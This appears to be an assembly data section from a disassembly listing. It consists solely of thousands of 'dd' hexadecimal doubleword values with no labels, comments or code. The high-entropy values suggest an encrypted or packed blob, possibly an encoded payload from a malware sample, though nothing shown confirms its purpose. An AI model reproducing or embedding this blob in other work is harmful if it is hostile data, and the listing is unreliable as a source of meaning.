		dd 2B03D32Dh, 82D93220h, 49515529h, 80E878A5h, 12D42D0Fh
		dd 521FA451h, 0E6E5E871h, 0C331320Ch, 0DC56D6ACh, 1190CD65h
		dd 285EA668h, 4B0D6463h, 43E6A1B2h, 7FC2031Fh, 2EC72155h
		dd 0DAC99404h, 0B28377F4h, 4ABAEC13h, 0F355E40Ah, 50B74813h
		dd 0E79438FEh, 1D39EE02h, 0F8ACE946h, 0CB285028h, 24A961FCh
		dd 230E1168h, 0A6B65F9Dh, 0EA52F530h, 72097BCBh, 0F8F7E96Ch
		dd 54149DA0h, 0EAB664Ah, 5090EA57h, 57417C32h, 379A6872h
		dd 6EDD39CAh, 2432BF1Fh, 3EFC30D5h, 27949736h, 14EFE59h
		dd 0CCC87ABEh, 4B2C2961h, 2EDEC4Bh, 3F49C7C2h, 9B18684h
		dd 1BE20443h, 0EB2B7337h, 46B90B80h, 0FC194B9Dh, 2C493466h
		dd 782989AFh, 9AB703CFh, 9959CF80h, 0F7D86AEFh,	0C7E91350h
		dd 5F2032F9h, 0FE25445Ch, 35C1DA42h, 51C07C9Ah,	46F2DE97h
		dd 7ABEFADFh, 487DE103h, 899166F8h, 8B0D1F7h, 3E3D4F2Ch
		dd 0BD557001h, 2979BAACh, 0AED4E7C7h, 0C04068ECh, 0A280B754h
		dd 6968D830h, 0D6696F4Ch, 0FE51D10Bh, 114D89E7h, 5E00E7FAh
		dd 0D584312h, 753F3D6Bh, 13250010h, 62357ECAh, 1B183E46h
		dd 0AF64C521h, 182197EBh, 0FB3A0F66h, 7F5CECD9h, 0FD48B98Eh
		dd 39180C86h, 7BC3EB0Bh, 0E338BD7h, 50001C57h, 0E806B568h
		dd 0BEE7F670h, 0A5D11D8Eh, 3A419DC9h, 0C7995402h, 0E027482h
		dd 55811005h, 2FC10176h, 82689360h, 1716BF7Eh, 1B88A280h
		dd 8A1C8627h, 4801494Fh, 2909E30Ch, 12E98424h, 5F37663h
		dd 0DAAA9EA7h, 4DFA400Ch, 1A445F04h, 0A184CA01h, 0B1590809h
		dd 0F86BD29Fh, 0CB8015E1h, 0F6F107BFh, 12A3B743h, 0EA650FB2h
		dd 0FDD45B1Ch, 46970376h, 0DA291BE7h, 31086C40h, 0A7F5D372h
		dd 65F28008h, 0B660B56Bh, 5E273857h, 0BEF4CDECh, 4977B4Eh
		dd 0F652F8B9h, 33CA5FF9h, 97C4D432h, 16C7F283h,	7FF34E41h
		dd 5A03E4Fh, 50BD120Fh,	82CFF8D6h, 0D9CBBCE9h, 0B1A7978Eh
		dd 0F3A66BADh, 0F82E5692h, 90E9E0AFh, 3BCC9D1Fh, 0E918E98Eh
		dd 0B80A4502h, 0CA530C8Fh
		dd 386C0503h, 0E8C12012h, 65A17A06h, 0B8F9775Bh, 0D9599D9Ch
		dd 0AF4EF42h, 1DCF8201h, 0C9610BAEh, 4AF13392h,	0F7205EF8h
		dd 0F1C68106h, 2028D350h, 5B0795BCh, 53C9B652h,	0EAE28843h
		dd 9DB95018h, 160A7EF2h, 0DD26282Eh, 6B6CD101h,	47495D7Eh
		dd 97942AA5h, 52B36996h, 0AE824ECBh, 0B295AB38h, 0C261A1B7h
		dd 0BD593C64h, 7F2C47ECh, 0AD8955C6h, 8BDE7141h, 12854357h
		dd 0D826F009h, 0D89C6441h, 4C86C220h, 86E20124h, 0CCE90601h
		dd 0F3F55066h, 0D664A6D4h, 1BE01F8Ah, 8292968h,	0BC7FADFFh
		dd 39C86DAEh, 0C3B33126h, 0E55DC42Ch, 9E629900h, 0BECD316Eh
		dd 895E50EAh, 95DE827h,	0DC198BA0h, 99542D06h, 0B25F2EF0h
		dd 1A61042Ch, 0B03177EFh, 809B88Ah, 0D47FA62Bh,	74AB4E31h
		dd 9921AD7h, 5F0FEC11h,	0D6BDF85Ah, 0CE6034AFh,	28EB4F1Ah
		dd 3859E986h, 50680983h, 85D63137h, 7F0987CFh, 7FA70EC7h
		dd 564CDE34h, 5D3A31CCh, 784982h, 4A257DDEh, 1473D5DCh
		dd 0ED45E9FBh, 0B23E7681h, 0B3B27F7Dh, 0B74058C9h, 0DB98CE29h
		dd 8978D514h, 0E6F028A1h, 0EB4A0882h, 822D2138h, 20C67203h
		dd 924CF205h, 0E573635Ah, 85680702h, 82C3D11Dh,	37D63918h
		dd 66DBE440h, 0C35B830h, 7C0E765Ch, 0B2C15E1Dh,	7FC90229h
		dd 643F8E29h, 403BF38Bh, 1CCCEAD1h, 5ABD6FB7h, 57088273h
		dd 0F2C49151h, 0FAB311AAh, 0B791CA9Eh, 28128B96h, 5DC91B7Eh
		dd 56AF2E47h, 0BB53581Ch, 9127E278h, 0EB8F007Ch, 5F6EFB1Bh
		dd 0A2A01683h, 0D3FB42A4h, 967CB00Bh, 5B9B35ABh, 0AB41840Dh
		dd 43ABCAD1h, 98938C2Dh, 0F14DCE25h, 70C30284h,	0D6591C7Ch
		dd 4E08A043h, 0D776A85Eh, 0B5E90F28h, 0BBA0C68h, 3DCE4517h
		dd 1A06D801h, 0C20053F5h, 1F105743h, 37482933h,	0F644E240h
		dd 0CF3AE7E3h, 0BA224EE6h, 0B789F75Bh, 825B997Ch, 0C62D03A8h
		dd 0C05FFC92h, 3D71132Ah, 8825A72h, 89900A1Ah, 4A4E02D0h
		dd 8C9043F2h, 94532E00h, 0E9F3292Dh, 6EE188E4h,	918231FCh
		dd 0ACE0546Eh, 40382EF6h, 0CC769D2Dh, 13E9E8C5h, 70BEAC90h
		dd 770F3D4Ah, 0B908F417h, 35CBDE51h, 42507CE2h,	0EB84D7F7h
		dd 5CA4075h, 9F066268h,	7EEA09C9h, 0CDDA201Eh, 4FFD8238h
		dd 6935DE3Fh, 7CADE465h, 6084ED29h, 5F4CA4D6h, 0B5E9C3E4h
		dd 0D3113B15h, 0B9F26B92h, 26DE01E5h, 0FA293D12h, 29A7C62Ah
		dd 0A276E358h, 0BDDAD85Dh, 366E6779h, 8E3F81B1h, 0EEE2185Ch
		dd 1863C771h, 0C24E67Bh, 0F9287713h, 0EFFC9047h, 6C494E01h
		dd 7C6E9BBh, 0BED3C46Dh, 0A8CDBF61h, 21C16944h,	0EA23E2A9h
		dd 4FFBEC5Eh, 2F837DFBh, 50A1C4F8h, 0F92908B8h,	6DA4DE99h
		dd 2E8B2FE1h, 2C649343h, 2D49AC11h, 0D91A5F31h,	3C53A800h
		dd 212C2071h, 0E6E4F5E9h, 276824E0h, 2A9A0B1Eh,	3FB2E800h
		dd 580515E2h, 0E883D0F7h, 5AD90AC1h, 0EA0EA14h,	0E5D717BFh
		dd 0A204AB8Ah, 0E6ABF050h, 0F9F04E59h, 9E8497D6h, 52C5FFACh
		dd 12E3D4FAh, 0B07DBD9Eh, 0A85C53E9h, 7F2B3C7h,	0F6B9EB80h
		dd 0ECB53DBh, 0A85F063Dh, 0DA09C7F3h, 0EC7BB2E9h, 21A32D88h
		dd 988BBB79h, 0B99CDD65h, 17798144h, 92A226Dh, 0E9F1E001h
		dd 8F57BF17h, 0B09252FAh, 0B24E837Ch, 68F41DCDh, 0C1236411h
		dd 0E89FA186h, 47950D81h, 0BE40BCB7h, 862CED60h, 6EC3FED3h
		dd 280C2168h, 0EFA68ABCh, 0C9A6E935h, 0E93BEBF1h, 0FC5CCBB5h
		dd 3B0D6D6Ch, 0EEF234FCh, 7BE42C8h, 5BD2620Ch, 975E5131h
		dd 0E927FAECh, 83DFF6CBh, 2C5B8DEEh, 5BA8C44Eh,	7E9127Eh
		dd 6A67AB8Eh, 55D4B1A5h, 1AD9E110h, 70765DC3h, 68520317h
		dd 13114BD1h, 257648DAh, 0C28B5C1Dh, 941CD5C0h,	1926577Fh
		dd 0FC4260F2h, 769AF73Eh, 25B6BE57h, 24628EE9h,	0A4B05957h
		dd 0FA120DCh, 0F68159B1h, 2FE90DD8h, 70DF2B5h, 0E06D55B9h
		dd 49ABB262h, 3D88F7D1h, 0F7810515h, 0ADC48292h, 64541BE0h
		dd 4B062A58h, 84183ACh,	0C080912Eh, 0C4F3230Ah,	0D8BF5DEFh
		dd 9464184h, 0E98CA312h, 0C8828469h, 98E65B4Eh,	0CD5C314Bh
		dd 0B9FB8440h, 0E7B15102h, 0BD75057h, 80595BFEh, 0F10E200Eh
		dd 66EBC1AFh, 260A844h,	30E90314h, 4A42C047h, 0F281EAD1h
		dd 0EE2C8413h, 0ABACBAC1h, 0B3FFE43Fh, 68E5706h, 6038D101h
		dd 68E18F33h, 0FE937144h, 0F237A602h, 8502FD51h, 2941D8F7h
		dd 0F5290177h, 92DC4D70h, 3EC858C4h, 6C8B416Fh,	0B97587DAh
		dd 2A484305h, 14FFD1F7h, 0EF92A699h, 5E696582h,	0A84B171Eh
		dd 0B4A589Bh, 0FE217B12h, 481C01CAh, 7C899E07h,	42BD2D2Ah
		dd 0CF445E76h, 89089A85h, 12886F1Eh, 50874012h,	12BD4292h
		dd 0E5E2B10Ah, 8BCA50C7h, 0D9283D16h, 3ABB6975h, 1C680AD7h
		dd 50B17D0Bh, 0A8294CE0h, 0E8D98912h, 41E9F1D7h, 0BFD3166Eh
		dd 57F84029h, 0B897C0DCh, 284F4274h, 20A9295Fh,	2C13FE3Dh
		dd 0F950BF20h, 171C6808h, 71BF5A17h, 6CD789D0h,	982DC7B7h
		dd 5F19DE72h, 7095AE2h,	555A155Ch, 0FEA5FAF3h, 0BEC542ADh
		dd 9EB85155h, 23C3C952h, 252B151h, 0B462178h, 0EAF920DDh
		dd 90506F78h, 5DC60111h, 0CD295F32h, 3BEFD1E9h,	83A467E8h
		dd 8B428042h, 634B13DBh, 0EB54414Fh, 9C96429h, 6E2C2838h
		dd 8A05D56h, 66032A90h,	0E9074C35h, 36E8EC5Ch, 0FB783FC5h
		dd 275AD376h, 1876411Ah, 27685170h, 9D945207h, 0BA3D097h
		dd 32F24364h, 2E37B9A1h, 4AF48318h, 42DA57Ah, 314D0924h
		dd 0C3C8833Bh, 0CDBEE002h, 6039033Ch, 70A0D7Ch,	0F746611Bh
		dd 63D83BDEh, 6937C616h, 0E999B0C6h, 9858792Ch,	0D05E105h
		dd 50ADAC43h, 14106022h, 553B1FC6h, 201ED412h, 2987CBB8h
		dd 0E933C705h, 1ED0F5F8h, 168A1A99h, 0A3FD316Ch, 4FA85B9Fh
		dd 9C080665h, 689FFA48h, 0A62A1C98h, 6BB309ADh,	9316D988h
		dd 9CF879E1h, 0AD383326h, 0C92C1B90h, 0F935C722h, 136ECDFDh
		dd 231F604h, 1AEF2D72h,	0B6E48650h, 51F15341h, 401B9710h
		dd 3E02DCBCh, 0C2830246h, 388AD5FFh, 0C7D904C8h, 4E2CB948h
		dd 0DD1205EEh, 588DCE70h, 7A0F8056h, 0F1010DB1h, 0CD03F3Ch
		dd 0C975A25Bh, 0C08D6E3Ch, 0A1090A5Dh, 0E25AE938h, 1EC740E4h
		dd 88771E30h, 5C0006F0h, 840FC90Bh, 0BCAD5431h,	657E5DDFh
		dd 0CFAD184h, 9D864C55h, 56A4322Fh, 0E08BAE37h,	0B4F75C27h
		dd 1E66971Eh, 3A5E927h,	0BBE6B54Dh, 50EE66Ah, 792B86BBh
		dd 6E9B0967h, 6A917493h, 9CC22FE6h, 165F70EFh, 15FFD09h
		dd 947C1C0Bh, 6C267172h, 400F5FE2h, 0CEC82602h,	0E2C10012h
		dd 42D2F706h, 2D0BCA81h, 7131B76h, 7B60A979h, 65ECE9BFh
		dd 0BA5EF4D9h, 4D8421E6h, 7F3C18E8h, 0B8B64B5Ch, 50250184h
		dd 0D7017EC8h, 9673D4A4h, 196CAF5Eh, 72F425E9h,	0F27E617Ah
		dd 0FDEB348h, 330B6DEAh, 27E95EB0h, 3371DDBAh, 34D13C64h
		dd 6D23E26Ah, 0F220134Ch, 0E7814701h, 1B0356F7h, 8153A643h
		dd 0B281F8EFh, 49C565FDh, 0B5103F29h, 92E90D08h, 78D8E5C3h
		dd 673130Ch, 9F6CA258h,	5E52DD5h, 6749685Fh, 0E1219249h
		dd 0BD7A2898h, 0C5EF24B6h, 0BBF23BBFh, 4CB7F02Eh, 0C357638h
		dd 89530254h, 5C5A0DF6h, 45DFB6B2h, 14E2C0Bh, 840DBA94h
		dd 41E53D76h, 5A6E2208h, 0FD3AB829h, 0CAFB92C9h, 0E1E9828Fh
		dd 0A0CCD39Dh, 8ABC4F94h, 7C561064h, 0CA18BB07h, 0AC297423h
		dd 0E3F300A9h, 0E97FFC63h, 0E7FB6D4h, 48EBF821h, 500245FAh
		dd 580A9E6Ch, 89068235h
		dd 886E76C3h, 0F70BCE5Bh, 70D470DDh, 72A42792h,	7FBE5378h
		dd 68CF602Dh, 46473032h, 0EA5D20D2h, 0B5F0224Ah, 1A04BD45h
		dd 25B8E842h, 359CDD66h, 0FFB6813h, 0CDD60E61h,	7B26B76Eh
		dd 27DC3434h, 7A3025D0h, 6B21762Eh, 0B5028FFh, 0C8188009h
		dd 57A4815Fh, 1880ED5Ch, 780C6BEAh, 0D312212Ch,	0E557F9E9h
		dd 1E8D12EAh, 0BA9E8D0Fh, 0A21E3A76h, 29D74309h, 39AA7428h
		dd 0B32E2FA0h, 4301C723h, 52DD8851h, 0F066C27Ah, 0BE26C760h
		dd 0D5EC08Bh, 0B05C00F4h, 3D68534Fh, 3E4ACF34h,	33848E8h
		dd 0F55C01C0h, 6E9E043Dh, 0B7824711h, 264C45D5h, 8318028Fh
		dd 0D8F8C641h, 0B7483220h, 72C1C3E3h, 485EF60Ah, 0F7E9155Ch
		dd 688532A9h, 0E95CD19Fh, 5A777467h, 6D3A667Ch,	0B55B6023h
		dd 0E0602C63h, 84E926E8h, 90B8A00Dh, 50492828h,	0DBE69B8h
		dd 7EFF89DFh, 735E71A2h, 27A83CA1h, 0BFCB1801h,	102C8B6Fh
		dd 805A5454h, 2B6ED903h, 39E92741h, 9D590CF6h, 0E93A122Fh
		dd 57C30B10h, 87674D9h,	5A16FCAEh, 0BA342FA4h, 49F19DA8h
		dd 1ED8141h, 8096BB79h,	781274BEh, 3C875326h, 149A408h
		dd 5AAABB2Dh, 0A8DD41D7h, 161D807h, 55321EDh, 7A3AB08h
		dd 22D7662Dh, 4B95746h,	4EA3AB5Ch, 9371A80h, 1BD465Eh
		dd 38281543h, 261F82Fh,	0F2120BF5h, 0EFD25D7Bh,	1027C57Fh
		dd 2B2F657h, 33911CFDh,	9F3CAD7h, 9F691608h, 7FE3EE80h
		dd 312D519Bh, 9DAB16F0h, 680BE9DBh, 6956F614h, 8EDA1655h
		dd 8E98135h, 9815EEECh,	2DFE96FEh, 14E43356h, 0D340B2EEh
		dd 0E9F000B8h, 0F09CC789h, 0D65AC181h, 163AEC03h, 84E4BD44h
		dd 0BF00655Fh, 2A56236Bh, 99095DB0h, 0D8D5A9DCh, 0A4D79E2Eh
		dd 0E953058Fh, 31FA40FEh, 0D0895BDAh, 0E0D35A1Fh, 22BC257Ch
		dd 0C92E470Fh, 0FBE1A3F6h, 62C72097h, 441268DEh, 0C18D2AC6h
		dd 0FE683E08h, 85BEF94Bh, 2A88EEA0h, 1E701D28h,	22E7E0Ah
		dd 0ED408ADh, 9D0D4000h, 9577CF30h, 70356F80h, 0CD58AE95h
		dd 0BC8F45FFh, 0BDB5151Bh, 4EB18BCh, 828A4FE2h,	557088C0h
		dd 0A78E103Dh, 5EEF0941h, 0CFC45450h, 7BE813A3h, 919EF8C4h
		dd 23612DB7h, 0D3BC4E16h, 42022A7Bh, 825A72E0h,	8DA000D7h
		dd 9764E509h, 9F5DD42h,	4098F18Fh, 337BD005h, 0F0287190h
		dd 659D072Dh, 21F48835h, 0A799FF6Bh, 48B44256h,	0B23BCBF5h
		dd 0CBB35D5Dh, 21021A82h, 7033F5C2h, 7BEEE4C0h,	0A5E9DB3Bh
		dd 0BB8D165h, 6B02E0C1h, 0B900697Ch, 5E784ACEh,	354DC741h
		dd 0C15D80D8h, 640F4F23h, 129BE948h, 615E5A90h,	9E473h
		dd 0B95158C6h, 32A822A9h, 0A095D09Dh, 3B15B7D9h, 0F60308C5h
		dd 3170E0F5h, 0A05E548Fh, 0C74F730Eh, 6E8939BAh, 9D153C28h
		dd 604B6BF6h, 4E8CE965h, 0E54177FFh, 4469468h, 1630B9DEh
		dd 525057B6h, 88289406h, 521EE3DAh, 0CD459CDh, 0C06BE12Fh
		dd 64ED276Bh, 95D39699h, 8E68DB03h, 32F3D91Ah, 7EDE963Ah
		dd 88F5B40Fh, 0EF2AA5E1h, 1AC0F044h, 257B46CAh,	2DE74E26h
		dd 2F0C3CADh, 5C54F90Bh, 1F751CC4h, 0BD20A55Ah,	8745A2CCh
		dd 309ADA96h, 5364FDB5h, 0AD37D3BDh, 6DBFB580h,	817FB6Eh
		dd 54AF10E9h, 0BA4BA093h, 1548BE2Eh, 1E94A6C4h,	550D3EBBh
		dd 0F7748FCAh, 623746D0h, 0F5F19514h, 1110942Ch, 8EAC10Eh
		dd 810667Fh, 8704C8F3h,	3EFD4AD7h, 0E384813Ah, 0AB192E1Ch
		dd 624B8C09h, 0D27EC0FAh, 0ADBB578h, 0E284247h,	0B7EF82B5h
		dd 805A2CF7h, 0F9C9CC25h, 72EE62A7h, 6CA85B04h,	688C407Ch
		dd 0FE36452Dh, 0DCA5C24Dh, 1D20426Ch, 25F1B0AEh, 56191028h
		dd 74BBE950h, 56974A84h, 0EA5F94ABh, 0AC7F4203h, 84B5296Eh
		dd 0C08185Ch, 612F5FA2h, 9527437h, 7BF47DBEh, 2486FA62h
		dd 27FDB358h, 0A9AC42F0h, 3D6CDD92h, 0C1B54E20h, 83C57C60h
		dd 8BE46FFCh, 14E917F5h, 0DD2B931Eh, 0D242AEEAh, 514A9172h
		dd 6DA8096Dh, 31D15AC4h, 0A6165E3Ch, 0E5042955h, 1CC27F5Bh
		dd 0C818F4FAh, 4ED70088h, 58E90BB1h, 5EE12D64h,	0BF7560BBh
		dd 33271164h, 2367E0C1h, 0D801801Ah, 0F769A291h, 71B5FDEEh
		dd 0EB666497h, 4CF50883h, 9603414Dh, 290FDF44h,	2C385B7h
		dd 0B0E95D08h, 297A4AAh, 11D94929h, 3B010CD4h, 66E9DE53h
		dd 688092B1h, 0BAF1CEB3h, 560A9982h, 59E05762h,	75F2559Bh
		dd 0AA66B81Ch, 682D8A80h, 0EA4C4E49h, 5EFDECA1h, 8907C13Dh
		dd 328B3A6Ch, 0EF02E241h, 5E46C40Ch, 2E908C30h,	0B8317D40h
		dd 1521913Eh, 0F716F76Ah, 376EF4D6h, 0C22F7641h, 52F7C5ADh
		dd 0B541BD37h, 0F057C940h, 8BA060FBh, 58120E3Bh, 4B842963h
		dd 0F789081Eh, 0A63F81D3h, 817BCCF8h, 3CF6E9CCh, 0DDB34F60h
		dd 841DFCD3h, 5F09B3F8h, 492D0A7Fh, 44BE5607h, 0DD4112F2h
		dd 0E5D11B00h, 0B40FED81h, 69AD67CAh, 9425BEEh,	2F7638FDh
		dd 92E7E150h, 4D45EC85h, 0CAD77848h, 0B6C20DAh,	67EE63A5h
		dd 48E98444h, 9175E90Ch, 0D8F333C0h, 0A02D063Fh, 17C47694h
		dd 872996BCh, 0E67D39B1h, 45260B08h, 0CC5471CFh, 5E465B15h
		dd 1ADD32EFh, 4C92754h,	671E0D05h, 0FB029141h, 98AC994Ah
		dd 708C95Ah, 9FB8E1ACh,	0A312473Ah, 29FB46DDh, 46A50F5Fh
		dd 2BF716ADh, 0EA8BB0C6h, 52271396h, 0C5BCA211h, 32AA63EBh
		dd 0CD7298BDh, 0B0F6CE7Fh, 49592BDh, 7FF876BFh,	0CF5CAD2Ch
		dd 9B7E018Bh, 3E1C161h,	17EF2230h, 0FC9B8664h, 0BD550159h
		dd 3C2D5F75h, 6F460C82h, 68547C84h, 68C6291Ch, 209D6E44h
		dd 0BA05A602h, 4EB6519Eh, 2D3A00AEh, 94F624F0h,	0E91BE895h
		dd 6B4F1D47h, 79AE4D23h, 879460C3h, 0A225B690h,	7E1F68C0h
		dd 0BE20C0F4h, 0ACE8D9C3h, 8FB29EF4h, 726F6812h, 0E9130C8Fh
		dd 58974B90h, 19BE1EF1h, 4160CFACh, 0EC1A353Bh,	0DE9310EDh
		dd 6D2DAE4Eh, 97C01844h, 38A07A09h, 0FADDE943h,	0FDA02D4Ah
		dd 37842A41h, 63B21E19h, 14C4AE3Ch, 0C500F878h,	65FA9562h
		dd 4680BA1Eh, 970B35ABh, 0F708DED9h, 2C12F83h, 7E500273h
		dd 88021D9h, 5F0017F3h,	1F9EB951h, 0C06550F9h, 0C5071DC4h
		dd 0AFE18139h, 0EC378F10h, 0B91058Ch, 0B4C38087h, 5593A9B2h
		dd 55D12Bh, 7052B6F1h, 17BD7431h, 9C27446Eh, 0EB4C01F5h
		dd 5CA565E5h, 46617EE7h, 2FEA5ECBh, 0DEC7E640h,	0C16C1E83h
		dd 241A590Ch, 0B2806B0Fh, 826EC073h, 80B8342h, 54494D51h
		dd 3F6B8222h, 848B3358h, 9AB15DDh, 0DAC807F1h, 0F500106Bh
		dd 65F68125h, 0C219B252h, 8F5CB00Ch, 6FF4D077h,	0A8C21446h
		dd 30D67297h, 0FB820634h, 0F0490FC8h, 0C22074ECh, 0FB5F5A25h
		dd 0FB0CF568h, 1FD6E978h, 0B40AD89h, 31EEE828h,	2FE4CD4Eh
		dd 6A41414Dh, 691695A0h, 8C841B21h, 0E6C5EA6Dh,	0B1640627h
		dd 0D60DF9D0h, 0E2CB81Fh, 0D2628335h, 2590C1FFh, 2057467Eh
		dd 2016BE70h, 0DA846C5Ch, 809DABECh, 0B3609DD5h, 826440E9h
		dd 0AA81E77Fh, 0F92A0105h, 45B8903h, 0E897C150h, 80E28479h
		dd 68F7C640h, 0BDF6F8A4h, 2457E5CFh, 69EE7743h,	60324DDAh
		dd 8F55C0FFh, 3222CABh,	6BE07868h, 0BCCDAB5Eh, 0BFFD6CFFh
		dd 0E474F909h, 57EFDF34h, 0BBB9E917h, 1312A65Fh, 8BB4B055h
		dd 12361650h, 50F4E842h, 3A4FE988h, 489E92B5h, 13074B9Ch
		dd 680469C5h, 0CFEF0534h, 61FA5A94h, 3AF09C60h,	2A649061h
		dd 0A1846C57h, 0FCE90C91h, 52B6E25h, 0F9F08CDBh, 5F048AAh
		dd 0C9558168h, 0A307E709h
		dd 0B8F3808Ah, 1D669A2Ch, 254FE268h, 0C13AC649h, 0C1A86FD8h
		dd 8A1044D4h, 2A2C1D40h, 2CDFF9C8h, 0BC77A543h,	635C2FBBh
		dd 0D5A5314Dh, 0AF9E09A2h, 68AF020Bh, 3850EE1h,	20018D5Ch
		dd 5F17D62Ch, 14AB6080h, 0E90A87B6h, 8F134294h,	0CA460CB0h
		dd 555F50C9h, 58BE89C4h, 0DB96605Eh, 8B2653B5h,	0AC45F329h
		dd 0F891DAA7h, 110C2F5Ah, 6B38119Ah, 70925BE9h,	0D9B55103h
		dd 99C2F580h, 0EDD8ECC5h, 0CDFE3297h, 0E1D70516h, 0E3CD5302h
		dd 2101852Fh, 338F0FE7h, 0D02912D5h, 0E98326F9h, 0C203D3C5h
		dd 465281BAh, 0DD66D368h, 5B7AD6F4h, 7A6CB1Dh, 875FF829h
		dd 622A7C89h, 3C7B5E9Bh, 0DCCB97BDh, 19922F5Dh,	95C3E81h
		dd 6250D948h, 555E2AE6h, 3C816560h, 99C747C1h, 4FF50A6Ah
		dd 969211F0h, 0C22488F2h, 0D8895004h, 0C04BCFFCh, 0A116D647h
		dd 0B9E91109h, 445B5A2Fh, 2BF2C09h, 0D6DDE0A7h,	0FB64EFBDh
		dd 841D133Dh, 2426E47h,	7FF3CBBFh, 0F15F373Ah, 736009E3h
		dd 0C4661FFEh, 504903D1h, 0B2339EB8h, 0F61DC013h, 61C415BCh
		dd 68AD01D0h, 502C04D7h, 35031EC0h, 0E85F294Ah,	528B5AF2h
		dd 7D3F284h, 0D624DEF7h, 0D9BC4782h, 0FA521733h, 0A27B4D7Dh
		dd 0A9E45F07h, 42AEA25Ah, 0A322F5BFh, 5B0597B8h, 0EA81E2ECh
		dd 7067FD07h, 81730832h, 9A2A2E09h, 45D78011h, 0C758155Ah
		dd 964A1918h, 11E0C2Dh,	0E9441CE3h, 93CDDC13h, 112B1C82h
		dd 0A87D3841h, 250894h,	5C16A7CFh, 0D2F72E0Fh, 76130FB8h
		dd 0F2C048EEh, 179E2A71h, 0FE78D8C1h, 0DD6C641Eh, 0BCC62917h
		dd 61BAB062h, 11052F57h, 0C0C56A89h, 68BA80E9h,	58A32AB2h
		dd 0E916F21Fh, 7B49EE08h, 680B20CEh, 30D46FDAh,	0A5545F7Fh
		dd 0A76A83Dh, 3829CF0Fh, 7260F83Ah, 0ECB0274Eh,	0FAF75262h
		dd 59CB02A7h, 0EE685199h, 137046DDh, 0F30A77E9h, 31D3403Fh
		dd 0C2B08892h, 0B2B1DC80h, 0C02A56B7h, 0B753525Ch, 0E303407Eh
		dd 28D0C280h, 0A8EAABFAh, 7CD4205Bh, 23F4385Ah,	2C58E107h
		dd 4C80319h, 2FA2EEA5h,	0A26ACA84h, 51532646h, 0E580C903h
		dd 0AA060950h, 5680D5F6h, 59EF882Ch, 519FC3A5h,	0CAD8F95Fh
		dd 40D3E963h, 0D027F737h, 0BFBD7895h, 2B639468h, 27605D82h
		dd 353A3158h, 55268202h, 0D759044Eh, 2D018F51h,	49441C6Fh
		dd 74C103Bh, 89A4055Ch,	8DE93A60h, 0FBAC7F12h, 4A2EFB88h
		dd 9532EFEDh, 73B34AA2h, 88A4BEC4h, 992A8F0h, 61F49AFh
		dd 3FE1F85h, 0FB6E100Bh, 5E5A63AFh, 6FCAB400h, 0E7817D95h
		dd 0FE161221h, 0C0D8EE5Ch, 6060E601h, 676A0F26h, 296563F7h
		dd 0A5A2CCFh, 418290Eh,	5A0BDB81h, 6D2882D5h, 4016415Bh
		dd 0C009DA42h, 0F8E91020h, 0CBE5BD59h, 2BC76805h, 0ADC104E8h
		dd 20146349h, 0F279CD2h, 3B770EAh, 472C776Dh, 0BBBEDCE9h
		dd 261E5598h, 4CDC398Ah, 5D7A9AEDh, 9A90A8B6h, 361F160Eh
		dd 0D287CC60h, 0AD569F7h, 1C5896DDh, 0D2E95556h, 779DA928h
		dd 81D8FE4Ch, 0D750A9B2h, 12FDFC2Bh, 0D5228C22h, 9523DD18h
		dd 3203E47Bh, 0D66A442Dh, 88920055h, 0E96C1E65h, 6B95F57Ah
		dd 108607B0h, 0D3280E56h, 0F126A63Dh, 49183FF7h, 99B97DF0h
		dd 0E75F98F5h, 1A98EB29h, 8F32FA6Bh, 55CC0527h,	447737AAh
		dd 45BA0042h, 2C5950CAh, 0CC6FA29h, 0D8B1613Bh,	0DF3A0B97h
		dd 0CA2589E6h, 9277659h, 0E67E1Ch, 5C2F9920h, 0E8270A56h
		dd 0EE0206ABh, 0A0F40A96h, 2F0BD360h, 21E91AEAh, 965D5AE6h
		dd 0B28FFED2h, 25681873h, 46389947h, 0A70B5395h, 0AF8820F7h
		dd 0B2EEE9C8h, 0CB8104E3h, 81F56C41h, 2BE6DF1h,	160E029h
		dd 0AE998EAh, 75957496h, 0EFFE448Eh, 0D15DFF0Bh, 1C4A636Fh
		dd 2BA59311h, 8FEC3F15h, 1705D803h, 9F5615Ch, 0C65CE8E9h
		dd 9FD10170h, 0E970BE56h, 4A90B534h, 19A246CCh,	27139758h
		dd 0B026A73h, 0E3C92B41h, 0D809E2F6h, 540023Eh,	0C905371h
		dd 8E357360h, 734AB6E4h, 2D00D6ECh, 2E9BEF39h, 8B9DBFE9h
		dd 0C9C27C1Fh, 33CF8781h, 287CCA2Eh, 3CECE904h,	5B5C7AB7h
		dd 0D122BE93h, 65327E45h, 8225E25Ah, 0FEB3E953h, 127C2FF9h
		dd 0D24ED42Fh, 469E50D4h, 288798EDh, 84385E40h,	203481FCh
		dd 32F54757h, 7FE530h, 191B6E55h, 0EB832D71h, 1FD7B260h
		dd 3062264Ch, 6139E4D1h, 5DE1978Dh, 5709D6FBh, 69F6DE44h
		dd 810117B2h, 841653E2h, 8A574A43h, 24D26EAEh, 0C1AE8F76h
		dd 2A5D9AB3h, 7EAF4C49h, 0D66525CAh, 6E88FF27h,	52C4EF77h
		dd 3E49F4EAh, 46B02013h, 0B595501h, 0F02A5873h,	0B440980Fh
		dd 4BD039BDh, 0E531019Eh, 551890C5h, 4C7A5B22h,	6C029532h
		dd 31E9051Bh, 92E4DFDEh, 0BE0B9AB1h, 959A6250h,	1EE33A71h
		dd 0F7AF84B4h, 3840D729h, 332603D9h, 3A719D53h,	2BE0EB97h
		dd 0BCC8B245h, 69F3C003h, 56973D7Eh, 7725FFh, 0BD78F10Bh
		dd 0E87F4A84h, 53C6512h, 739A9707h, 0ED2520BFh,	902B8D21h
		dd 3503007Dh, 24CF4163h, 70122805h, 47057DE7h, 6325CEF5h
		dd 38C76407h, 66C5D509h, 1173E961h, 6AC11F81h, 0EC2F5056h
		dd 989F78CDh, 766216B6h, 0E7A295B4h, 5609B95Fh,	310B1DD8h
		dd 0A0F929BAh, 87FA0848h, 0D3B4504Ch, 3BB6D9AEh, 0EAA4C1A8h
		dd 0B6966E21h, 5694BA04h, 34A06BEh, 50752B3h, 7D0E0A27h
		dd 4C55A950h, 1C8B2526h, 9785BF1h, 0B91C5A47h, 0D77B84F8h
		dd 513C57E2h, 0CF3D5393h, 535F24A2h, 964CC904h,	2AFF00BEh
		dd 8773280Fh, 0B24AE9ECh, 0D1F67F81h, 0F1E9816Ah, 0D7C1D536h
		dd 9EE1C392h, 0E6A18153h, 6DA42B07h, 35420F3Ah,	291126E2h
		dd 0E3E36377h, 0ED2B2E76h, 82DD4B1Bh, 5FBD829h,	1A8CAE5Bh
